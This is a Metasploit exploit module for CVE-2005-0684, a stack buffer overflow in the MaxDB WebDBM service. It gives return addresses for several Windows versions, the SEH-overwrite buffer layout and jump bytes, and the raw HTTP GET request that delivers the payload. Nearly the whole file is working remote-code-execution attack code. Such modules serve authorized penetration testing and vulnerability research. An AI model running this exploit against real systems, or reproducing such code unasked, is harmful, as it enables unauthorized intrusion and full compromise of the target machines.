##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GoodRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'MaxDB WebDBM GET Buffer Overflow',
      'Description'    => %q{
          This module exploits a stack buffer overflow in the MaxDB WebDBM
        service. This service is included with many recent versions
        of the MaxDB and SAPDB products. This particular module is
        capable of exploiting Windows systems through the use of an
        SEH frame overwrite. The offset to the SEH frame may change
        depending on where MaxDB has been installed, this module
        assumes a web root path with the same length as:

        C:\Program Files\sdb\programs\web\Documents
      },
      'Author'         => [ 'hdm' ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'CVE', '2005-0684'],
          [ 'OSVDB', '15816'],
          [ 'URL', 'http://www.idefense.com/application/poi/display?id=234&type=vulnerabilities'],
          [ 'BID', '13368'],
        ],
      'Privileged'     => true,
      'Payload'        =>
        {
          'Space'    => 2052,
          'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c\x40",
          'StackAdjustment' => -3500,
        },
        'Platform'   => 'win',
      'Targets'        =>
        [
          ['MaxDB 7.5.00.11 / 7.5.00.24', { 'Ret' => 0x1002aa19 }], # wapi.dll
          ['Windows 2000 English',        { 'Ret' => 0x75022ac4 }], # ws2help.dll
          ['Windows XP English SP0/SP1',  { 'Ret' => 0x71aa32ad }], # ws2help.dll
          ['Windows 2003 English',        { 'Ret' => 0x7ffc0638 }], # peb magic :-)
          ['Windows NT 4.0 SP4/SP5/SP6',  { 'Ret' => 0x77681799 }], # ws2help.dll
        ],
      'DisclosureDate' => 'Apr 26 2005',
      'DefaultTarget' => 0))

    register_options(
      [
        Opt::RPORT(9999)
      ])
  end

  def exploit
    # Trigger the SEH by writing past the end of the page after
    # the SEH is already overwritten. This avoids the other smashed
    # pointer exceptions and goes straight to the payload.
    buf = rand_text_alphanumeric(16384)
    buf[1586, payload.encoded.length] = payload.encoded
    buf[3638, 5] = "\xe9" + [-2052].pack('V')
    buf[3643, 2] = "\xeb\xf9"
    buf[3647, 4] = [target.ret].pack('V')

    print_status("Trying target address 0x%.8x..." % target.ret)

    send_request_raw({
      'uri' => '/%' + buf
    }, 5)

    handler
  end
end
